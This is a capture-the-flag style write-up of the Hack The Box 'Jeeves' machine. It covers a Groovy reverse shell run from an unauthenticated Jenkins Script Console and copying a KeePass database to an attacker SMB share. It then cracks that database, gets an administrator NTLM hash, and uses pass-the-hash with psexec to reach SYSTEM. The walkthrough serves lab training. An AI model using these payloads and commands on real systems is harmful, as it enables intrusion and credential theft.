HTB - Jeeves
Target IP: 10.129.228.112
Domain: JEEVES (Workgroup)
DC Hostname: N/A - Standalone Windows host
OS: Windows 10 Pro Build 10586 x64
Difficulty: Medium
Assumed Breach: No - initial access via unauthenticated service exploitation
Author: [g1nt0n1x]
1. Phase 1: Reconnaissance & Information Gathering
1.1 TCP Port Discovery
nmap -p 80,135,445,50000 -sCV -Pn -oA nmap/tcp-targeted 10.129.228.112PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Port Analysis & Attack Surface
| Port | Service | Notes |
|---|---|---|
| 80/tcp | HTTP / IIS 10.0 | Hosts an “Ask Jeeves” themed page |
| 135/tcp | MSRPC | RPC endpoint mapper |
| 445/tcp | SMB | Workgroup machine, no domain |
| 50000/tcp | HTTP / Jetty | Returns 404 - worth enumerating deeper |
No Kerberos, no LDAP: this is a standalone workgroup machine, not an AD environment. SMB and the two HTTP services are the primary attack surface.
1.2 Local Host Resolution
nxc smb 10.129.228.112 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts1.3 SMB Enumeration
Confirming the OS build and testing for null/guest authentication:
nxc smb 10.129.228.112
# Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
nxc smb 10.129.228.112 -u '' -p ''
nxc smb 10.129.228.112 -u 'guest' -p ''
# No result - null and guest sessions are disabledSMB is a dead end without credentials.
2. Phase 2: Web Enumeration
2.1 Port 80 - IIS “Ask Jeeves”
The web server hosts an “Ask Jeeves” search page, consistent with the hostname. Submitting any query redirects to error.html, making the application non-functional. Directory busting and virtual host enumeration both return nothing:
feroxbuster -u http://jeeves
# found: 0
ffuf -u http://10.129.228.112 -H "Host: FUZZ.Jeeves" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 503
# found: 0Port 80 is a dead end.
2.2 Port 50000 - Jetty (Jenkins)
The same initial scan against port 50000 returns nothing with the default wordlist:
feroxbuster -u http://jeeves:50000
# found: 0The default raft-medium-directories.txt wordlist is a good first pass for HTB, but may miss custom or uncommon paths. Upgrading to the larger raft-large-words.txt wordlist finds a hit:
feroxbuster --url http://jeeves:50000 \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt
# 302 http://jeeves:50000/askjeeves => http://jeeves:50000/askjeeves/Navigating to http://jeeves:50000/askjeeves/ reveals a Jenkins instance with no authentication required.
3. Phase 3: Initial Access via Jenkins Script Console
3.1 Jenkins Groovy Script Console
Jenkins exposes a Groovy Script Console under Manage Jenkins → Script Console that allows arbitrary code execution on the underlying OS. Since we have unauthenticated access to Jenkins, we can use this directly.
We use a Groovy reverse shell payload and execute it from the Script Console:
String host="10.10.10.10";
int port=5555;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();Alternatively, a PowerShell-based reverse shell is more stable. Generate a Base64-encoded payload from revshells.com and execute it via:
def cmd = "cmd.exe /c powershell -enc <BASE64_PAYLOAD>".execute();3.2 Catch the Shell
Set up a listener before executing the payload:
rlwrap nc -lvnp 5555Confirmed initial access:
whoami
jeeves\kohsuke
4. Phase 4: Post-Exploitation - KeePass Database
4.1 File System Enumeration
Enumerating kohsuke’s home directory reveals a KeePass database:
tree /A /F
+---.groovy
| \---grapes
+---Desktop
| user.txt
+---Documents
| CEH.kdbx
CEH.kdbx is a KeePass password safe. We need to transfer it to our machine for offline cracking.
4.2 Transfer via Impacket SMB Server
On Kali, host an SMB share:
sudo python3 smbserver.py myshare . -smb2supportOn the victim, map the share and copy the file:
net use x: \\10.10.16.149\myshare /u:user password
Copy-Item CEH.kdbx X:\
4.3 Cracking the KeePass Master Password
KeePass databases are protected by a master password. Extract the hash for offline cracking:
keepass2john CEH.kdbx > CEH.kdbx.hashRun hashcat, letting it auto-detect the hash mode:
hashcat CEH.kdbx.hash /usr/share/wordlists/rockyou.txt --user
# Recommended mode: 13400 (KeePass 1 / KeePass 2 AES)
hashcat -m 13400 CEH.kdbx.hash --user /usr/share/wordlists/rockyou.txt
# Password: moonshine1The --user flag is needed because keepass2john prepends the filename as a username prefix (e.g., CEH:$keepass$...).
4.4 Extracting KeePass Entries
Open the database with kpcli:
kpcli --kdb=CEH.kdbx
# Password: moonshine1Dump all entries:
kpcli:/> find .
kpcli:/> show 0
# Title: Backup stuff
# Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00Extract all passwords for spraying:
awk '/Pass:/ {print $2}' keepass-extraction.txt > passwords.txt
# aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# 12345
# S1TjAtJHKsugh9oC4VZl
# pwndyouall!
# F7WhTrSFDKB6sxHU1cUn
# lCEUnYPjNfIuPZSzOySA
# Password5. Phase 5: Privilege Escalation - Pass the Hash
5.1 Password Spray
Testing all extracted passwords against SMB as Administrator:
nxc smb Jeeves -u administrator -p passwords.txt
# No hits5.2 Identifying the NTLM Hash
The first entry (aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00) is an LM:NTLM hash format, not a plaintext password. This calls for a Pass the Hash attack instead.
nxc smb Jeeves -u administrator \
-H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# [+] Jeeves\administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)5.3 Gaining SYSTEM
python /usr/share/doc/python3-impacket/examples/psexec.py administrator@jeeves \
-hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# C:\Windows\system32> whoami
# nt authority\systemMachine fully compromised.
Deep Dive: Jenkins Script Console RCE
Jenkins is a widely-deployed CI/CD automation server. Its Script Console (/script) executes arbitrary Groovy code in the JVM process context, which runs with the OS privileges of the Jenkins service account. On misconfigured instances with no authentication, this is a direct code execution primitive.
Key properties:
- No authentication bypass needed - the feature works as designed; the vulnerability is the missing access control
- Groovy can call Java APIs directly -
Runtime.exec(),ProcessBuilder, socket operations, file I/O - Script Console is enabled by default - administrators must explicitly disable or restrict it
On real engagements, Jenkins instances are often exposed internally (intranet CI/CD) and frequently misconfigured. Always check /script and /manage for unauthenticated access.
Deep Dive: KeePass Offline Cracking
KeePass databases (.kdbx) are encrypted with a master password, optionally combined with a key file or Windows account. When only a master password is used, the database can be cracked offline.
keepass2john extracts a crackable hash from the database file that encodes the KDF parameters (PBKDF2 or Argon2) and a verification block:
CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a...
The *6000* field is the iteration count - higher values slow cracking significantly. KeePass 2 defaults to 6000 AES rounds, which is fast enough for rockyou to crack in reasonable time.
Hashcat mode 13400 handles both KeePass 1 and KeePass 2 AES databases. Always let hashcat auto-detect and confirm the mode before running a full crack.
Deep Dive: Pass the Hash (PtH)
Windows NTLM authentication does not require the plaintext password - it uses the NT hash directly in the challenge-response exchange. An attacker who obtains an NT hash (from a SAM dump, NTDS.dit, memory, or in this case a KeePass database) can authenticate as that user without ever knowing the plaintext password.
The hash format LM:NTLM (e.g., aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00) contains:
- LM hash (
aad3b435b51404eeaad3b435b51404ee): the null LM hash - indicates LM hashing is disabled - NT hash (
e0fb1fb85756c24235ff238cbe81fe00): the actual hash used for authentication
Tools like nxc -H, psexec.py -hashes, and wmiexec.py -hashes all support PtH natively.
Why it works here: The KeePass “Backup stuff” entry stored an NTLM hash directly, not a typical plaintext password. Recognising the LM:NTLM format and switching to -H instead of -p is the key insight.
Key Takeaways & Checklist
- When directory busting returns nothing, try a larger wordlist before giving up -
raft-large-words.txtfound/askjeeveswhereraft-mediummissed it - Jenkins Script Console at
/scriptor under Manage Jenkins is a direct RCE primitive when unauthenticated access is available - KeePass databases found on a target should always be transferred for offline cracking -
keepass2john+ hashcat mode 13400 - Use
--userwith hashcat when the input comes from john-format hash files (username prefix included) - Password entries in KeePass may contain NTLM hashes rather than plaintext - recognise the
LM:NTLMformat - Pass the Hash with
nxc -Hworks against SMB even on workgroup machines - no domain required - After a successful PtH with nxc, use
psexec.py -hashesorwmiexec.py -hashesfor a full shell